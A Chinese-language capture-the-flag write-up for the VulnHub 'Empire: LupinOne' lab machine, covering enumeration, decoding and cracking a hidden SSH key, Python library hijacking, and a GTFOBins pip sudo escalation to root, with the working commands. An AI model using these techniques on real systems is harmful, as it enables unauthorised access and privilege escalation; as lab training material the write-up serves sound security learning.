VulnHub-Empire:LupinOne

VulnHub-Empire: LupinOne

Level: Easy-Medium

信息收集

nmap

image-20220111192526980

开放22、80端口,同时robots.txt中提示有个名为/~myfiles的目录

image-20220111194123394

假的404页面

image-20220111193628871

查看源码发现提示信息”Your can do it, keep trying.”

ffuf

image-20220111195222767

通过fuzz发现了另外一个目录~secret

image-20220111195711410

筛选一下有用的信息

疑似用户名:icex64

这个目录下藏有ssh的私钥

用 fasttrack 破解密码

继续fuzz

1
ffuf -u "http://192.168.221.131/~secret/.FUZZ" -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -fc 403 -e .txt,.html

image-20220111201339971

发现了.mysecret.txt

image-20220111201618284

直接看不像是private key应该是编码过了,试了几种Base发现是base58 解码点这

解码后得到sshkey

image-20220111201903152

John

利用ssh2john获取sshkey的哈希值

1
/usr/share/john/ssh2john.py sshkey > hash

再用John破解得到密码为P@55w0rd!

1
john --wordlist=/usr/share/wordlists/fasttrack.txt hash

image-20220111205221667

通过已知用户icex64连接ssh,获得一个flag

image-20220112132931220

提权

sudo -l发现用户有权以arsene身份运行heist.py且免密

查看webbrowser.py为任意用户可读写执行,利用python库劫持来利用该文件

image-20220112134653023

Python库劫持

Python库劫持的方法后续会再写一篇文章来详细学习一下

这里因为heist.py调用了webbrowser.py且该文件任意用户可写,直接在该文件中调用/bin/bash

image-20220112145242986

现在可以直接通过heist.py来切换为arsene用户

1
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

利用pip来Getshell

image-20220112150413564

简单看看arsene用户目录下,其中note.txt就是先前网页上看到的提示信息,其他没啥有用的

sudo -l发现用户有权以 root 身份执行pip且免密

GTFOBins上直接就有pip提权的方法

1
2
3
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF

这里直接利用以上三条命令就可获得root权限

image-20220112152050911

root flag在**/root**目录下

image-20220112152225053

end